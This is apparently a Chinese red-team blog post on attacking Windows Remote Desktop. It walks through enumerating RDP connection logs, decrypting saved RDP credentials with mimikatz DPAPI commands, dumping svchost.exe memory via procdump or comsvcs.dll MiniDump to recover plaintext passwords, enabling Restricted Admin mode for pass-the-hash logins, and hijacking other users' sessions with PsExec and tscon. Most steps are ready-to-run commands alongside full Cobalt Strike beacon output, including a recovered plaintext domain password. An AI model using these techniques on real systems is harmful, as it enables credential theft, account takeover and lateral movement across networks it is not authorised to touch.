查看原文
其他

原创 | 浅析RDP攻击面

HED Team SecIN技术平台 2024-05-25

点击蓝字




关注我们



抓取RDP连接日志


工具:

https://github.com/Heart-Sky/ListRDPConnections


  • 对外 RDP 连接记录
    对外 RDP 连接记录保存在 HKEY_USERS\[SID]\Software\Microsoft\Terminal Server Client\ 下,默认只包含缺省用户设置和已登录用户的信息
    未登录用户连接记录需要通过加载对应用户目录下的 NTUSER.DAT 到注册表中并读取来实现
    需要有 SeBackupPrivilege 和 SeRestorePrivilege 这两项权限才可以实现对注册表的读和写操作


  • 对内 RDP 连接记录
    对内 RDP 连接记录保存在 Wind。
    一个完整的 rdp登录->注销 过程包括 网络连接->身份认证->登录->注销,在注销前还可能发生 会话断开/重新连接

    选取
    EventID: 1149 网络连接 事件作为全量的登录事件,
    EventID: 21 登录成功 和 EventID: 25 重新连接 作为登录成功的事件,通过剔除登录成功的事件即为登录失败的事件

比如下图,该机器没有RDP去登陆过别人,但是被172.16.4.1登陆成功过,如果多台机器都被相同ip登陆成功过,那可能RDP过来的ip就是运维的ip。

CS上可以直接内存加载
execute-assembly /Users/Zh1z3ven/Downloads/ListRDPConnections.exe


获取RDP凭据


Dump RDP Credentials From Credentials Directory

场景的话,应该是拿到一台A主机权限,如果A主机通过RDP登陆过主机B并且勾选了保存RDP会话凭据,那么会在当前主机A用户的特定目录下生成一个远程主机B的RDP凭据。只要勾选了保存RDP会话凭据,即使断开了RDP依然会在特定目录下留存凭据供我们抓取,而不是需要RDP连接一直存在。

默认保存在:C:\Users\用户名\AppData\Local\Microsoft\Credentials路径下
但是我直接翻的话翻不到

但是通过命令是可以找到的,而且是cmd,不是powershell
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

在这里我们需要记住两个重点的信息,在稍后我们是需要使用到的.

0x01 凭据保存的目录:
C:\Users\Administrator\AppData\Local\Microsoft\Credentials 

0x02 凭据的值:
5EEE4899502166CA91541FD79DA485CB 


使用mimikatz来进行操作读取密码

dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB


CS上的话直接

beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB command[+] host called home, sent: 750701 bytes[+] received output:**BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {96768172-a437-4ca8-a877-14e0aa498a3e} dwFlags : 20000000 - 536870912 (system ; ) dwDescriptionLen : 00000012 - 18 szDescription : 本地凭据数据
algCrypt : 00006610 - 26128 (CALG_AES_256) dwAlgCryptLen : 00000100 - 256 dwSaltLen : 00000020 - 32 pbSalt : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 0000800e - 32782 (CALG_SHA_512) dwAlgHashLen : 00000200 - 512 dwHmac2KeyLen : 00000020 - 32 pbHmack2Key : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf dwDataLen : 000000c0 - 192 pbData : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573 dwSignLen : 00000040 - 64  pbSign             : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d
在这里我们需要记住guidmasterkey的值,
稍后我们需要找到对应的东西
{96768172-a437-4ca8-a877-14e0aa498a3e}
使用这条命令进行把数据保存到c盘的根目录中:
mimikatz.exe "privilege::debug" "sekurlsa::dpapi full" exit > c:\log.txt

然后我们在txt文件中找到对应guid为{96768172-a437-4ca8-a877-14e0aa498a3e}的值.
beacon> mimikatz sekurlsa::dpapi full[*] Tasked beacon to run mimikatz's sekurlsa::dpapi full command[+] host called home, sent: 750705 bytes[+] received output:
Authentication Id : 0 ; 7152762 (00000000:006d247a)Session : Interactive from 6User Name : DWM-6Domain : Window ManagerLogon Server : (null)Logon Time : 2022/4/26 18:12:38SID : S-1-5-90-6

Authentication Id : 0 ; 6443772 (00000000:006252fc)Session : NewCredentials from 0User Name : AdministratorDomain : WEBLOGICLogon Server : (null)Logon Time : 2022/4/24 15:14:41SID : S-1-5-21-2004965046-3923418856-647414055-500

Authentication Id : 0 ; 196482 (00000000:0002ff82)Session : Interactive from 1User Name : AdministratorDomain : WEBLOGICLogon Server : WEBLOGICLogon Time : 2022/4/22 1:27:06SID : S-1-5-21-2004965046-3923418856-647414055-500

Authentication Id : 0 ; 996 (00000000:000003e4)Session : Service from 0User Name : WEBLOGIC$Domain : WORKGROUPLogon Server : (null)Logon Time : 2022/4/22 1:26:42SID : S-1-5-20

Authentication Id : 0 ; 43470 (00000000:0000a9ce)Session : UndefinedLogonType from 0User Name : (null)Domain : (null)Logon Server : (null)Logon Time : 2022/4/22 1:26:42SID :

Authentication Id : 0 ; 7246695 (00000000:006e9367)Session : Interactive from 6User Name : AdministratorDomain : WEBLOGICLogon Server : WEBLOGICLogon Time : 2022/4/26 22:57:38SID : S-1-5-21-2004965046-3923418856-647414055-500 [00000000] * GUID :{96768172-a437-4ca8-a877-14e0aa498a3e} * Time :2022/4/27 0:00:37 * MasterKey :3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01 * sha1(key) :b356179c1c3c35b9b8e4c0dcb345db87c692c6a1

Authentication Id : 0 ; 7152777 (00000000:006d2489)Session : Interactive from 6User Name : DWM-6Domain : Window ManagerLogon Server : (null)Logon Time : 2022/4/26 18:12:38SID : S-1-5-90-6

Authentication Id : 0 ; 997 (00000000:000003e5)Session : Service from 0User Name : LOCAL SERVICEDomain : NT AUTHORITYLogon Server : (null)Logon Time : 2022/4/22 1:26:43SID : S-1-5-19

Authentication Id : 0 ; 999 (00000000:000003e7)Session : UndefinedLogonType from 0User Name : WEBLOGIC$Domain : WORKGROUPLogon Server : (null)Logon Time : 2022/4/22 1:26:42SID : S-1-5-18 [00000000] * GUID :{628e2357-b149-42af-8714-2a2e22e08f27} * Time :2022/4/24 16:00:14 * MasterKey :967426472be5e7a52c38ee9d9a39c3ae1fefbba19f1b8575cb900d170c5c94b0dcfed7d2a2b309fa12c263f8e072151d4e800310d1dbcd504aec44b9c8ecf638 * sha1(key) :00472b23a48a568dff80abe4194c8196ba56bbb3 [00000001] * GUID :{3f911ddd-ae45-479e-bb98-5b6c10c26c50} * Time :2022/4/26 22:50:53 * MasterKey :ea626424a276d204d717b8b1a455b83d2aff4ac1290796a96a6583ea9677b8b5a292eb3fa79caeb3b58686f54033ae46497a7352b4a9def555e311c6f70481ad * sha1(key) :48feec9411a1017f5edb03a59922f2ea960bbfe9 [00000002] * GUID :{acc494d8-92ca-45e0-9e87-27017cf59c68} * Time :2022/4/26 23:02:50 * MasterKey :d9500e81ab0f393b3aabfa510123bbeddad768f82d4203356ee71e64cd967d478c94b93bf73b5f0df029791c63b5738e60348561c8bc354791d27fdfb4ff6f26 * sha1(key) :be9117bfc64e4d0f62c06adfbd3f7f7f82643237 [00000003] * GUID :{afe30aef-f67e-4cea-9b91-71318f566140} * Time :2022/4/22 1:26:42 * MasterKey :c8cce9b5629b7ba44a7585bafbc3230ff35f3218ddc987c406e26799da37b857e34f26fb0c03ba68989a3c5cfc076b17cb4982be08134fd05a8cc36713ecc227 * sha1(key) :39507d003e38633020e85d318e509f55939d208f

也就是

 MasterKey  : 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0f ec3d356bc9d8a78bbfd158e2b0

使用下面的命令进行读取密码的信息

这里使用刚才的目录,加上刚才的值MasterKey就可以进行读取了密码
mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01
beacon> mimikatz dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01[*] Tasked beacon to run mimikatz's dpapi::cred /in:C:\Users\Administrator\AppData\Local\Microsoft\Credentials\5EEE4899502166CA91541FD79DA485CB /masterkey:3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01 command[+] host called home, sent: 750701 bytes[+] received output:**BLOB** dwVersion : 00000001 - 1 guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb} dwMasterKeyVersion : 00000001 - 1 guidMasterKey : {96768172-a437-4ca8-a877-14e0aa498a3e} dwFlags : 20000000 - 536870912 (system ; ) dwDescriptionLen : 00000012 - 18 szDescription : 本地凭据数据
algCrypt : 00006610 - 26128 (CALG_AES_256) dwAlgCryptLen : 00000100 - 256 dwSaltLen : 00000020 - 32 pbSalt : d1c330441bb02b18b73fa77b57904a4afa25bef9682607960e7e66761a3c0a55 dwHmacKeyLen : 00000000 - 0 pbHmackKey : algHash : 0000800e - 32782 (CALG_SHA_512) dwAlgHashLen : 00000200 - 512 dwHmac2KeyLen : 00000020 - 32 pbHmack2Key : f9307e607b20dee2a77b6299cbe51fbbc0bdf70f6ad0400ad21d2bca772bebaf dwDataLen : 000000c0 - 192 pbData : 92e2b3f95f3ffcdac577318c582b7a6c07ca2fe7e3aff19f571d91bf50926cff01e33d6d815bbfa270f2315f06d67623b884d84d1f0d6d8c933c0fccd20139c883133602b4a92b3ef4ded1048ddcdc39a53d960ab065f2973a770bcb8b648eac535f036bdd0e22e02e9565eea9c5213b55020b93478a9e83dbf3bb19b60b848e2fa4b06976b55924c95bbda48e57487e64dfdf53d74d693f12208ff34e38b94ec411fd6105cc7bdab9dbe8e0b51edee2570b70c65fd2f305157ef06be44f7573 dwSignLen : 00000040 - 64 pbSign : 09ec126f126c0178368ae1a54977bb2d8402a5a7714d195bde5a323f0035a0b89b993735e37ad0fd3d8d302bdc77e331659bc5ebd285a276e295bc6ec48c515d
Decrypting Credential: * masterkey : 3e1d23bb5c85eac0d5dc41cb6c6178bdd5f05a1d3ba76844355a9b76055321166c02e7b226cc1d237454cb5ac372fd92d3c0fec3d356bc9d8a78bbfd158e2b01**CREDENTIAL** credFlags : 00000030 - 48 credSize : 000000b8 - 184 credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password Flags : 00000000 - 0 LastWritten : 2022/4/26 16:00:20 unkFlagsOrSize : 00000018 - 24 Persist : 00000002 - 2 - local_machine AttributeCount : 00000000 - 0 unk0 : 00000000 - 0 unk1 : 00000000 - 0 TargetName : Domain:target=TERMSRV/10.10.20.7 UnkData : (null) Comment : (null) TargetAlias : (null) UserName : redteam\saul CredentialBlob : admin!@#45  Attributes     : 0


Dump RDP Credentials From svchost.exe

在去年5月份的一篇老外推文中发现可以通过本地的svchost.exe中抓取到RDP明文密码。

前提是这个RDP是当前正在连接的。

拿Windows Server 2012做测试

整体流程就是在进程内存中对 svchost.exe 进行简单的字符串搜索,就会发现用于通过 RDP 连接到系统的明文密码。

找到正确的进程

有2种方式:

0x01 Process Hacker

Process Hacker

使用 Process Hacker 2. 转到 Network 选项卡并找到具有 RDP 连接的进程。

这仅在 RDP 连接仍处于活动状态时才有效。

0x02 Command Line

通过如下命令可以找到

netstat -nob | Select-String TermService -Context 1
或者是直接找 rdpcorets.dll
tasklist /M:rdpcorets.dll

创建转储文件

0x01 Process Hacker
Process Hacker的话直接右键svchost.exe进程就可以创建dump文件

0x02 任务管理器
详细信息 ==> 选择对应pid进程 ==> 创建转储文件

0x03 ProcessDump

procdump.exe -ma [PROCESS ID] -accepteula [FILE PATH]


0x04 comsvc.dll

.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PROCESS ID] [FILE PATH] full
C:\Windows\System32\rundll32.exe  C:\windows\System32\comsvcs.dll, 

MiniDump 1680 C:\Users\Administrator\Desktop\1.dmp full

查找明文密码

可以通过strings命令,但是strings在Windows Server 2012上并不存在。 

Mimikatz也支持了这一功能
可以通过下面命令抓取
ts::logonpasswords

但是Windows Server 2012就有问题,会抓到bytes流之后崩溃

Pass The Hash With Remote Desktop Protocol


Restricted Admin mode

这里是涉及到的一个概念,直译为受限管理模式,主要功能是使得凭据不会暴露在目标系统中。

Windows 8.1和Windows Server 2012 R2默认支持该功能

Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351

也就是当win7 windows Server 2008 R2 安装了补丁后同样可以Hash登陆RDP


利用时注意 Server开启Restricted Admin mode时,Client也需要支持Restricted Admin mode

修改注册表开启Restricted Admin mode的方法:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /
查看是否开启
DisableRestrictedAdmin REG_DWORD 0x0 存在就是开启REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
成功在win7上开启Restricted Admin mode

Hash登陆RDP实现

这里需要使用mimikatz去pth

这里首先拿域用户去pth,失败。经朋友提示说可能虚拟机会有问题。

测试了几个实验:

虚拟机环境下

win2012 RDP登陆 win7会出现下图错误

win7 RDP登陆 win2012出现下图错误(偷的图,但是报错一样,忘记截图了)

privilege::debugsekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"

win10登陆win2012没问题

小结一下,踩了几个坑但是应该是虚拟机的问题,实战情况下问题应该都不大。


这种场景的话主要是

1、有目标机管理员组账号的用户名+hash,还有机器名。

2、修改对方注册表开启Restricted Admin mode(受限管理模式)

3、管理员权限用mimikatz => Pass The Hash With Remote Desktop Protoco

RDP会话劫持

系统管理员和用户通常可以通过 RDP 远程桌面登录指定服务器 3389 远程桌面,而攻击者可以通过可以特权提升至 SYSTEM 权限的用户,可以在不知道其他用户登录凭据的情况下,用来劫持其他用户的 RDP 会话,该漏洞在 2017 年由以色列安全研究员 Alexander Korznikov 在个人博客中披露。利用条件只需要获取机器 SYSTEM 权限执行 tscon 命令

以Windows Server 2012测试

在任务管理器中会出现多个会话

可以通过右键 ==> 连接 ==> 输入对应账号的密码来连接到该会话

输入密码后成功登陆

在Windows Command Line下有一个tscon命令,可以实现上述功能
首先查询会话ID
query user


然后执行tscon命令即可切换会话

tscon 8 /PASSWORD:rdp1用户的密码

当然这是正常情况下。当我们获得了SYSTEM的shell时可以绕过认证,直接切换,无需输入密码。

首先需要一个SYSTEM权限的cmd,可以通过PsExec.exe实现

PsExec64.exe -s -i cmd

之后输入

quser //查找rdp IDtscon 8 /dest:console

成功后直接跳转到该RDP


往期推荐



原创 | 域环境搭建以及域内横向姿势总结

原创 | 代码审计入门之XHCMS

原创 | 记一次某部内存取证比赛writeup

继续滑动看下一个
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存